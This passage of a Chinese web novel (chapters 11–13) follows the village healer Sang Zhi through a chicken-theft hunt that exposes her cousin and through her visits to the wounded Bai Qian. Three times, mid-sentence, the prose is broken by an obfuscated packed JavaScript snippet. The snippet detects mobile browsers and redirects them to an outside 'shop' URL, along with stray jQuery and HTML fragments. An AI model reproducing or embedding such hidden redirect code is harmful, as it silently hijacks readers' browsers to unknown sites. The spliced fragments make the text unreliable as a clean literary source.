“不是买来的，是周叔送的，他家兔子产了崽，送了两只给咱们家。” 周叔算是周云莹的亲戚，两家来往也比别家密切些。 桑盛看她脸色恢复了正常，又道：“你若是喜欢便留着养……” 桑枝看着篮子里圆乎乎一灰一花两只小兔子，喜滋滋抬头对她哥道：“哥！兔子可好吃了！” 11. 第 11 章 “好吃？”桑盛道：“我还以为你想养着。” 桑枝又把布遮上，“这是一个老家在蜀地的药童告诉我的。这两只还这么小，当然要先把它们养大了。” “这兔子是用来下崽的，刚好一公一母，你可别想着吃。” 兄妹两个一路聊到家门口，桑盛一边推门一边道：“这几天你看到桑全就远远避开。” “嗯，我知道了。” 两只兔子得了惜儿的喜欢，非要周云莹抱着她看，一走开就闹。 桑盛从柴房取了些废弃的木料，这都是从之前留下的旧桌椅上拆下来的。 鸡窝和牛棚旁边还有一块空地，桑盛要在天黑前搭一个兔窝出来。 之后几日桑枝常在山口处看到桑全在那里晃悠，只是他没再跟桑枝说过话。 白前的伤势好了许多，她也不必日日都去，算下来，这些天倒是往城里去的勤快些。 这些天桑枝陆陆续续卖了不少药材，攒下三两银子，算上她放在床底箱子里的七两银子，一共也有十两了。 所有的铜板都叫她去城里的钱庄换成了银子，一个个放在小箱子里，桑枝越看越觉得满足。 她想以后自己能开个小小的医馆。 桑枝取了一两银子出来，把箱子锁好放回床底，转头去找刘蔓湘。 刘蔓湘正自己坐在屋里纳鞋底，见桑枝来了，支到她面前给她看，“你看看，娘给惜儿做的，这小孩子一天一个样，长得可快了。” 虽说还没到天黑的时候，屋里的光线却不好，桑枝看到她凑到窗边，伸手帮她把蜡烛点上。 “废那蜡烛做什么？我看得清。” “娘，仔细伤了眼睛，以后晚上做针线活儿，都得点蜡烛。”桑枝把银子递给她，“娘若是不听我的，我就把这钱全都拿去买蜡烛，看娘以后用不用。” “哎呀！你这孩子！娘都听你的，成了吧？” 刘蔓湘放下手上的活儿，对她道：“你不必回回都给我这么多银子，自己也留点儿体己钱。” “放心吧娘，我有呢。” 刘蔓湘这才收了钱，她拉住桑枝，叫她坐在自己跟前，问她：“你跟娘说说，你想找个什么样儿的人？” “上次那个李公子就不错，娘也托人去打听过……” 桑枝一听，赶忙问她：“娘，你是不是去找二叔打听了？” “自然，咱们家城里除了你二叔，还有哪个亲戚不成？”刘蔓湘说着，又道：“你二叔和二婶都说那孩子人不错。” “娘也觉得挺好，你怎么就不喜欢？” 怎么就不喜欢？ 她都不认得那什么李公子，话都没说过几句，成什么亲呢？ 桑枝看着刘蔓湘疑惑的眼神，这些却不能说给她娘听，只好把白天用过的理由再用一遍：“我喜欢会做饭的。” 刘蔓湘瞪大了眼睛，“你想找个厨子？” 说完，她又低下头叹了口气，“找个厨子也成，对你好就成。” 桑枝没想到刘蔓湘竟能这样想，一下子也不知道该说什么了。 刘蔓湘拍拍她的手，“那天我去找朱媒婆，她听说你不喜欢还挺可惜。” “娘，这没什么可惜的。” 刘蔓湘点点头，“也对，还是你喜欢最重要。” 末了她又道，“娘也不是催你，但你也得考虑考虑。” “知道了娘。” —— 桑正礼这几天难得过了几天清闲日子，村里没什么大事，他白天在地里忙完，下午回来吃完饭还能跟大儿子喝两口小酒。 一小杯酒刚凑到嘴边，就被外头吵吵嚷嚷的声音给吓了一跳，他手一抖，杯子里的酒都撒了。 他拍了两把身上的酒，朝外头吼了句：“吵什么吵！” 外头那人声音更大了：“里正啊！你可要给我们家做主啊……” 桑正礼一阵头疼，他挥挥手，“桑盛，去开门。” 刘蔓湘怕惜儿被吓到，叫周云莹给抱进屋里去，大黑一扭一扭的跟进去，没人管它。 来人一看开门的人是桑盛，那声嚎哭也卡在了嗓子眼儿，“桑……桑盛啊，你也在屋里呐。” 桑盛只当这是句废话，转身给人让出条道来，他没关门，门外还堵着好些个跟着来看热闹的人。 “是孟家那口子啊，有什么事儿啊？” 孟婶子从怀里摸出根鸡毛来，直直伸到桑桑正礼面前，“我的鸡！我的鸡不知道被哪个没好心的给偷了！” “我那鸡窝周围，全都是鸡毛！” “我那可是能下蛋的鸡！” 村里丢了东西可是大事，桑正礼皱起眉头问：“你什么时辰发现的？” “就方才！我闺女去摸鸡蛋的时候！我早上去喂食的时候鸡还在呢。”孟婶子神情激动，就差把鸡毛塞进桑正礼眼睛里让他看了。 桑正礼呵斥一声：“好好说话！你早上喂过鸡之后再没去看过。” “没有，要是我去了，鸡还能丢？”孟婶子一脸懊悔。 “那就不好确定是什么时辰丢的了。”桑正礼又问：“你可瞧见那人长什么样没有？” 孟婶子一拍大腿，急道：“没瞧见！就看到一串脚印，快走到山跟前的时候就没了。” 她家在靠近山脚的地方，房屋背后就是山，若是那人偷了鸡就往山上去，那就更难找了。 门外的人听了孟婶子的话都窃窃私语起来，都怕自己家的鸡被偷，嚷嚷着要桑正礼把这个偷鸡贼给找出来。 孟婶子见桑正礼面色凝重，捂着脸哭起来，“里正，你可不能因为我家老孟不在家，就把我们娘俩不当一回事儿！我们家老孟每次收了工从外头回来，哪次不来看你？” 孟婶子的相公是个木匠，前几日种完了地，又赶去外村做工，因此不再家中。 “你看看你，急什么？桑盛啊，跟我去，去你孟婶子家看看脚印。” 一听里正要去孟家抓偷鸡贼，门外看热闹的人也都齐齐跟上，桑枝也想跟着去，刘蔓湘叫她好好待在屋里，别去凑热闹。 桑枝只好坐回院子里等消息。 刘蔓湘看她神色凝重，安慰她：“你怕什么，那贼再怎么也不敢偷到咱们家里来。” “娘，我没害怕。” 她只是心底里有一丝不安。 方才孟婶子一说自己的鸡丢了， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17376824|200109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 桑枝第一时间就想到了桑全。 她刚才下山的时候在庙门前闻到过一股烤鸡的味道，还有丝丝缕缕的烟在冒。 她当时往那边看了几眼，只觉得奇怪，现在想来，可能真是桑全…… 但她没证据，不好把这件事说出来。 过了约莫半个时辰，门外才传来动静，桑正礼和桑盛回来，都说没找着人。 这次跟着一起来的人更多了，桑枝看到周叔，花叔，王婶子……连她三叔都笼着袖子在最外头看热闹。 一群人齐齐聚在她家院子里，举着火把，说今晚就要把那贼人找出来，否则村里头谁都睡不安稳。 孟婶子眼泪都哭干了，手心里还紧紧攥着那只鸡毛，她撇了一眼人群里的王梅，“要我说，指不定就是住在山上那小子偷的！他没来之前咱们这儿什么时候丢过东西？” 她这话一出，不少人都跟着点头。 “这还真说不准……” “孟婶子说的也有道理……” 桑枝闻言，下意识出口反驳：“不是他。” 这话一出口，所有人的目光不由得都往她身上看。 孟婶子问她：“小枝，你怎么知道不是他？” 桑枝十分镇定道：“我遇到过他，他受了伤，我给他治的。” 周叔在一旁点头，“小枝经常上山采药，又是大夫，她说的准没错。” 桑正礼敲敲桌子，“白前那小子来咱们村里这么长时间了都没事儿，小枝也说他受了伤，怎么偷鸡？孟家那口子，这得讲证据啊！” 孟婶子哼一声，“方才大家伙儿可都看到了，那脚印分明是个男人的脚！” 站在人堆里的王梅脸色苍白，“那也，也不能说是白前干的。” 桑枝看了她两眼，这人平日只当不认得这个外甥，这个时候倒出来说话了。 孟婶子转头冲她没好气道：“我说王梅，平时没见过你跟你那亲戚来往，这个时候会给他说好话啦？” 王梅憋得脸通红，没作声。 站在她旁边的是她相公，他扯了王梅一把，抬头对孟婶子道：“就算是那小子偷的也跟我们家没关系！” 桑枝冷笑一声，原来是怕自己惹火上身呐。 “怎么没关系……”孟婶子双手叉腰，就要去争。 桑正礼用力拍了把桌子，“吵什么吵！别吵了！再吵贼能抓住吗？” 院子里一时安静下来，桑枝才不经意般道：“我经常上山，那附近我都清楚。爹，你确定周围林子一圈都找过了？” “都找过了，什么都没发现。”桑正礼也愁，这事儿若是一直解决不了，闹大了更会引起恐慌。 “这人害怕留下脚印，定然专挑着山里没路的地方走，估计也走不了太远。”桑枝停顿了一下，“我记得山脚下有个没人要的水塘，这头还有个土地庙，都找了吗？” 桑正礼还没说什么，周叔就先开口了：“还是小枝聪明！不愧是读过书的！” 孟婶子眼放精光：“那咱们就现在去找！” “嗯，小枝说的有道理。”桑正礼道：“那咱们分头找，桑盛你带几个人去水塘那里，剩下人跟我去土地庙！” 12. 第 12 章 桑正礼和桑盛分别打头，一群人又闹哄哄的举着火把离开，今夜村里不得安宁，村中犬吠声不止，几乎家家户户灯火通明。 刘蔓湘放心不下，要等消息，叫周云莹和桑枝先去睡。 “娘，我把惜儿哄睡了就来陪你。”周云莹蹙眉，她怀里抱着打着盹儿的女儿，不住往门口张望。 桑枝也没睡意，眼下这个情况，谁都睡不着。 春夜风凉，院子里坐不住人，刘蔓湘去大门口检查了一下门闩，把大黑留在院子里，端着烛台转去灶房。 灶房门也敞着，随时注意着外头的动静。 今夜月色出奇的好，星子漫天，在院子里洒下一片月光，不用蜡烛也能看清脚下的路。 桑枝从屋里取了书过来，看到灶房里的亮光，径直过去。 “娘，晚上冷，添件衣裳吧。” “娘穿的厚，不冷。”刘蔓湘正在点炉子，炉子上添了壶水，她招手叫桑枝坐到靠里的位置，里头没风。 桑枝扯了把椅子往门口一放，把刘蔓湘往里头挡了一下，“娘，我要看书呢，外头月亮大，不伤眼睛。” 灶房靠门口的地方支了张桌子，烛台就搁在桌子上，桑枝侧身刚好能借着烛光和月光看书。 刘蔓湘见她看书认真，也没再说话，等水烧开后给她倒了一碗放在手边。 没过一会儿，周云莹也来了，她跟桑枝相对而坐，抬眼就能看到门口。 “惜儿睡着了？”刘蔓湘问。 周云莹道：“睡了。” 桑枝一看书就忘了时辰，一碗水放到变凉也没喝上一口，待外头响起闹哄哄的声音，她才从书中抬头，“回来了？” 刘蔓湘和周云莹已经先出去了。 刘蔓湘开了房门，来的是同村几个年轻人。 最前头是周叔的侄子周虎，门一开就急切道：“婶子！那贼抓到了！里正叫我们几个喊你和桑大夫过去！” 刘蔓湘一听，也顾不上其他，就要拉上桑枝跟他们走。 “娘，你先去，我拿个药箱。”桑枝一听就知道是有人受伤，她折身回屋拿了药箱出来，看到周云莹神色紧张，匆匆安抚道：“大嫂，贼已经抓住了，你把门栓好就回屋陪惜儿吧。” 说完，她转头小跑几步跟上了刘蔓湘。 刘蔓湘心里也怕，她怕桑正礼叫她去是因为他自己或者桑盛受了伤，桑枝在她旁边到底叫她安心不少。 “小枝，你说你爹和你哥不会出什么事儿吧。”她神色惶惶。 桑枝连忙道：“没事的娘，你别怕。” 举着火把的周虎回头道：“婶子，里正和桑大哥都没事。” 他挠了挠头，欲言又止，“就是那贼……婶子看了就晓得了。” 远远看去土地庙一片火光，村里人里三层外三层围了好几圈，比举办庙会的时候还热闹。 桑枝远远就听到有人哭闹的声音，却不是丢了鸡的孟婶子。 “桑正福！村里人都欺负到你儿子头上了！你一句话都不说？我真是瞎了眼了嫁给你！咱儿子出了事……” 原是她三婶。 看来偷鸡的人果然是桑全。 周虎吼了一声，“刘婶子和桑大夫来了！” 拥挤的人群让开一条小道来，桑枝跟在周虎后面走进去，还没来得及看清形式，一个人影就扑上来，紧紧抓住她的胳膊，“小枝！你可得救救你堂哥啊！” “三婶，你不放开我，我怎么看？” 桑枝一上来人就被挡住，连里面是个什么情况都不知道。 荆云这才松了手，她发丝散乱，带着哭腔催促她：“快些！你堂哥——你堂哥都叫人打晕过去了！” 桑枝这才看清楚里面的情况，土地庙前头，她爹和她哥守在一个躺倒的人影旁边，地上甩着几个空酒坛和一堆一看就是吃剩的鸡骨架。 “桑三家的！你说什么呢？”孟婶子立马从旁边冲过去，被两个婶子一把拉住。 孟婶子被拉着没动，瞪着眼睛，“桑全那是自己偷鸡又喝酒，喝醉了从旁边小山坡滚下来的！大家伙儿都瞧见了！” 人群霎时嘈杂起来。 “是啊！我们可都瞧见了！” “你儿子那是做了亏心事！是遭了报应了！” “还敢在土地庙里偷吃，真是……” 荆云见状往后一仰坐在地上就开始干嚎：“要不是你们追他，他能从山坡上滚下来吗？可怜我儿啊……” 桑正福一个人缩在角落里，头偏过去，好似这件事跟自己毫无关系似的。 桑枝无暇顾及身后的吵闹，她仔细检查了一番桑全的情况，打开药箱给他擦药。 桑正礼皱着的眉头都没舒展过，他问：“小枝，怎么样？” “胳膊和额头有些擦伤，再者就是崴了脚。”桑枝道：“他现在晕着只不过是醉得太厉害了。” 这话一出，身后吵嚷得声音更大了。 “都别吵了！”桑正礼吼了一声。 等人群渐渐静下来，他才点了几个年轻人的名字，道：“今晚你们几个和桑盛留下把人看着，明天一早，送去衙门。” 荆云一听，连哭都忘了，扑上去抱住桑正礼的腿，“大哥！大哥！我跟正福就这么一个儿子啊大哥！他要是有什么事，我们该怎么活啊？” “我……我赔钱！我赔钱！”荆云转身又去看孟婶子，“你要多少银子？我都给！我都给你！” 孟婶子没说话，偏开头。 旁边一个婶子道：“你儿子今天能偷只鸡……谁知道明天他还会偷什么。” 周围人不住点头，窃窃私语起来。 桑正礼叹了口气，“三弟媳，按大晏律令，偷盗是大罪。钱也是要赔的，赔多少，知县大人自有定夺。” 荆云瘫倒在地，转头看向一直没说话的桑正福，“桑正福！你说呢？” 桑正福缩了缩脖子，看了眼脸色称不上好看的桑正礼，又迅速偏开头，嚅嗫道：“大……大哥说得对……” 偷鸡贼已经抓到，人群也逐渐散去，土地庙前空空荡荡，孟婶子走之前还进去磕了个头，出来时骂了一句：“敢在庙里偷吃！都是报应！” 桑正福要拉着荆云回家，被她挣开，“我留在这里陪儿子。” “行，那你陪！我回去了！”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17377378|200109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 桑正福不耐烦的甩了甩胳膊，转身走了。 桑正礼叹了口气，对桑盛道：“你先跟我回去，给你三婶子拿条被子过来。” 走出老远，桑枝转头一看，荆云还坐在地上。因为桑全被绑着，旁边守着人，她不能过去，只能直勾勾望着。 “小枝？看什么呢？”桑盛叫了她一声。 “没什么。”桑枝快走几步跟上去。 在她的印象里，三婶一直很宠这个儿子。三叔继承了祖父留下大部分田产和银子，那时候他是兄弟几个里面过得最好的，和三婶对儿子也是有求必应。 但三叔游手好闲，只想坐吃山空，田都叫他卖出去了几亩，日子越过越落魄。儿子又在城里染上了不少恶习，一直在外面游荡，一回家就是要钱。 三叔如今这样，不过是觉得儿子靠不住，只能靠兄弟了。 —— 第二天送官桑枝没跟着去，后来她听回来的桑盛说，桑全是偷了鸡自己吃，没有另外卖给他人，本只判赔钱和打十个大板，但正好有个丢了酒的铺子掌柜来报案，知县大人当即派人去查，结果查出来酒桑全偷的，这下不仅要再赔三坛酒钱，还要再加十个板子。 衙门的人打板子下手都重，这二十板子打下来，人彻底晕了。 桑正礼找了板车把人送到附近的医馆治伤，好些天了还没回来。 桑枝上山的时候跟白前说起这事，他笑笑，“是不是有人说鸡是我偷的？” 桑枝一惊，她明明没说过有人怀疑过他啊。 “我刚带着英儿来找姨母，她说我是从战场上回来的，身上有煞气，还牵那么大一匹马，会吓到村里人。”白前垂下眼，“不过她愿意帮我在这里定居下来，我很感激。” 桑枝拍拍他的肩，“我觉得这马很帅！它有名字吗？” 白前猝然抬眼，看到桑枝还搭在他肩膀上的手，往后一闪，险些坐到地上。 “你干嘛？我有这么可怕？”桑枝瞪他。 白前不自然的偏了下头，说出口还是那句话：“不合适。” 这三个字桑枝听都要听烦了，她轻哼一声，“我还以为你讨厌我呢。” “小黑。”白前说：“马叫小黑。” “小黑？”桑枝瞬间就笑了，“我……我家有只这么大的狗崽子……” 她伸出手比划了一下，“它，它叫大黑。” 桑枝笑够了，直起腰，看白前还目不转睛的盯着她，伸出手在他眼前晃了晃，“喂，你看什么呢？” “没什么！”白前看到她离自己这么近，猛地后退，又忘了自己的脚还伤着，这次十分干脆的摔了个屁股蹲！ 桑枝大惊失色，赶忙冲上去扶他。 “你别过来！”白前用手撑着地，“我，我自己可以。” 他都摔地上了，桑枝怎么能看着，便不顾他的挣扎把人搀起来，扶到一边坐下。 “快让我看看！若是旧伤添新伤就不好了！” 桑枝蹲下，掀开他的裤脚，一边看一边道：“我告诉你，你现在最好别动！” “再动我揍你！让你知道不听大夫的话是什么下场！” 13. 第 13 章 “好了，刚才那一下没伤着。” 桑枝洗了手回来，白前已经整理好裤脚安安稳稳坐在椅子上了。 今天白前炖的鱼汤，正在炉子上冒着泡，飘来丝丝缕缕的香味。 趁着他掀开锅盖，桑枝看了一眼，惋惜道：“若是有块豆腐就好了。” 自白前受伤这些天，他们吃的一直都是家里存的肉菜。因为白英要养身体，白前之前就买下一大筐鸡蛋，再加上周围林子里的野菜，够兄妹二人吃上许久。 桑枝问：“你不能出门，鱼都是从哪儿来的？” 白前冲她身后扬了扬下巴，“那里有水。” 桑枝知道他说的是那座瀑布，以为他拖着伤脚乱跑，提高了声音质问：“你下水了？” “自然没有！”白前也是被她训斥怕了，连忙解释道：“我在那里放了鱼篓，每天都叫英儿去看看，若是有鱼了，就把鱼篓提回来。” 说话间，每天到时间都要去睡觉的白英醒来了，她揉着眼睛，还是叫白前给她梳头。 桑枝从怀里摸出两朵绢花，示意白前给小姑娘戴上。 “赶紧的！”桑枝催促他，“这是我送给你英儿的，又不是给你的！” “什么送给英儿的？”小姑娘说着就要转头，被桑枝按着肩膀十分轻柔的推了回去。 “先别动，你哥哥在给你戴姐姐送你的绢花呢。” 白前只好伸手接过，给小姑娘戴上。 梳完头，白英跑到屋里去照了镜子回来，两个小脸红扑扑的，“特别好看！谢谢小枝姐姐！” “还有这个。”桑枝转头又从怀里摸出一个纸包打开来，里面是一颗颗晶莹的蜜饯，她给白英喂了一颗，小姑娘立马皱起了眉头。 “不好吃？”桑枝笑着，又把纸包递到白前面前，“你也尝尝。” “我不喜……”白前拧眉。 “快点！” 白前只好取了一颗放进嘴巴里，入口略甜，更重的是酸味，还有一点点咸味。 “这是甘草杏，用甘……”桑枝抬头看了眼想脸皱成包子的小姑娘，改口道：“用杏子做的，是我二叔铺子里新上的蜜饯，虽说味道没有其他蜜饯好，但若是咳嗽的时候吃上一粒，会舒缓许多。吃了对身体好呢！但也不能多吃。” 小姑娘听了，乖乖把嘴巴里的甘草杏嚼了咽下去，然后端起碗喝了一大口水。 那天桑枝只是跟二叔那么一说，没想到二叔这么快就把甘草杏做了出来，还特地遣人去医馆叫她到店里试吃。 二叔做的成品不多，说是先放在店里试卖，若是卖得好，以后店里就多一样品类了，如此桑枝还帮着医馆成了一桩生意，跟二叔约定日后甘草都从医馆拿。 “挺好吃的。” 桑枝十分诧异的看一眼白前，“没想到你会喜欢，喏，这包正好送给你。” 小姑娘在旁边点头，“小枝姐姐送英儿绢花，送哥哥蜜饯！” 白前轻咳一声，在桑枝的眼神威胁下把纸包接了过去，折好放在桌子上。 小姑娘一觉睡醒，精神头也足，坐了一会儿就坐不住了，“哥哥！我去给小黑割草！” 白前点点头，“不许走太远，若是累了就回来，不要硬撑。” “知道了！” 等白英提着小篮子出去，桑枝才道：“英儿这段时间精神好了许多。” “多谢你。”白前真心道，若不是有桑枝告诉他那么多法子，白英又不愿意去看大夫，小姑娘如今哪有力气出门，眼见着她脸色都红润了许多，适当出去走走回来也有益。 “行啦，那我也走了！”桑枝理了理衣摆站起来。 白前下意识挽留，“你……你不留下喝鱼汤吗？” 桑枝摇摇头，“不了，马上清明了，我早些下山，顺道采些艾草。” 她背好背篓，又像想起什么来了似的，对白前道：“对了，我这几天兴许没时间上山给你换药了，你平时做事仔细些。你恢复的快，过几日也能自己慢慢走了，但是要小心些。” 白前微微挺直脊背，声音里有一丝自己都没察觉到的紧张，“你要成亲了吗？” “啊？”桑枝还以为自己听错了，也不知道他是怎么从自己不能上山直接跳到她要成亲了。 “什么成亲？”桑枝眼露茫然。 白前别看眼，意有所指道：“之前你来，说你家里去了媒人。” 桑枝站在原地想了一会儿，恍然大悟，她一拍手，“你不说我都忘了这件事儿了！” 她摊手，“我已经拒了。” 白前的耳朵动了动，“为何？” “还能为什么？我才不会和一个根本不认识的人成亲呐。而且，我不是说过吗？我想找个会做饭的。” 说完，桑枝整理了一下肩上的小背篓，“走了走了，再不走来不及了。记住我说的啊，走路千万要小心！我忙过这阵子就来看你。” 走出这片世外桃源似的山谷，桑枝遇到拔草的白英，又叮嘱她早些回去。 下山的路上，桑枝又顺手采了些药材，只装了半篓，她方才上山的时候在山口处看到一片艾草，长势喜人，可以采一些在家里备着。 山口的土地庙前已经被打扫干净，桑枝远远望去，香火竟比往日还要旺盛一些。 她低头采摘艾草，忽听得有人喊她，抬头去看，是孟婶子。 “小枝，采艾草呐？”孟婶子往前走了几步，同她打招呼。 桑枝顺手丢了一把到背篓里，直起腰跟她说话：“婶子这是要上山去？” 孟婶子笑着冲她扬了下书中的竹篮，“我来拜拜土地公。” “那婶子去了啊，你早点儿回去。”说着，孟婶子便抬脚上了台阶。 “嗯，晓得了。” 桑枝又采了两把，装满了小背篓，这才回家。 自那次偷鸡贼的事情过后，孟婶子便变了许多。从前村里哪个不晓得她最爱占小便宜，虽不至于不来往，但也没那么亲近。 因为这事儿，她相公特地赶回来，提着东西把那天晚上帮着出过力的人家都拜访了一遍。 最后来桑家，夫妻俩提了两壶酒一筐鸡蛋，更是对桑正礼谢了一遍又一遍。 孟婶子搓了搓手对桑枝道：“若不是有小枝提醒，我们大家伙儿也没那么快找到那小贼！小枝啊，多亏你了！” “我也是猜测。”桑枝眉眼弯弯。 末了，孟婶子塞给她一盒胭脂，说是专门给她买的。 后来孟婶子在村里人缘也好起来，虽然那爱占小便宜的毛病一时半会儿还改不掉，但好歹也是互送东西， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17382466|200109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有来有往了。 桑枝回到家，卧在门口的大黑不停扑上来蹭她的裤脚，不过才一月，这狗崽子便长大了许多，见人仍是喜欢嘤嘤嘤的撒娇，也不晓得什么时候才能当个看门狗。 小狗崽子两只爪子牢牢的抱着她的腿，两只眼睛亮晶晶，桑枝便蹲下抱着他揉了好一会儿。 如今家里有了两只兔子，大黑自是不如从前受宠，惜儿每天一睁眼不再叫着要狗狗，而是要兔兔。 桑枝玩够了，放开一身毛乱糟糟的狗崽子，去打水洗手。 这个时辰桑正礼和桑盛也快回来了，桑枝没看到她大嫂和惜儿，许是在屋里睡着。 堂屋那头传来织机的声音，她娘真是半点儿闲不住。 墙角开了好些浅黄色的野花，桑枝采了一捧，放进一个装了水的粗陶瓶里，把陶瓶放在自己窗前。 从堂屋放织机的位置正好能看到桑枝的窗口。 刘蔓湘停下动作，笑道：“小枝，要那野花做什么？山上的野桃花开得多好！” 桑枝趴在窗沿上，“娘，我背篓里要装艾草呐！可装不下什么桃花！” “艾草都采来了？你今年还得去医馆那头帮忙吧？”说着，刘蔓湘起身，“那娘这几天先做来给你吃。” 尽管医馆那头也能吃到青白团子，种类也丰富，但刘蔓湘做出来的又是另一番滋味。外面的味道再好，也比不上家里的味道。 “好啊娘！”见刘蔓湘放下手里的活，她也连忙走出来，跟着刘蔓湘一起收拾自己背回来的艾草。 桑枝把艾草倒在簸箕里，挑拣里头的杂草和泥块。刘蔓湘从柴房端出一个大木盆，把挑拣好的艾草倒进去，打了水将艾草冲洗了好几遍，又接上水泡着。 院里还晒着三簸箕药材，都是桑枝午时出门前晒上的，现下日头快落山，桑枝便将药材收了。 刘蔓湘走进灶房拿了块豆腐出来，“小枝，下午咱们吃豆腐烧肉啊！” “娘，你还去临村买豆腐了？” 采桑村没有会做豆腐的人家，隔壁绿水村才有一家卖豆腐的，附近村子的人买豆腐都去那儿。因为离得远，家里也不常去买，桑枝从县里回来的时候有时也会带一块。 “你孟婶子方才路过送的！” 孟婶子还真是不一样了。 屋里传来惜儿说话的声音，过了一会儿周云莹抱着女儿出来，小丫头撇着嘴不高兴呢，头发也睡得乱糟糟的。 桑枝上前逗了逗她，小丫头还是蔫巴儿着，把头埋进母亲怀里，不说话。 “方才把她叫醒，她还不乐意，又说要吃蜜饯，我没给，闹脾气呢。”周云莹颠了颠女儿，“我才给擦了把脸。” 刘蔓湘从灶房出来，端了碗热水，哄着惜儿喝了几口。 “桑惜冬。”桑枝喊了一声小侄女的大名。 惜儿喝了水清醒了许多，小脾气来得快去得也快，她伸出小手揪住桑枝的袖口，糯糯的问：“姑姑，桑惜冬是什么？” 几个大人一听，都笑了。 晚些时候，竟下起一场淅淅沥沥的小雨来，湿润了土地。 雨一连下了几日，桑家的小菜地里搭起了菜架，种了几样豆子，只管自家吃。 又一个大早，桑枝搭了周叔的牛车，往县城里去，她要去见池大夫了。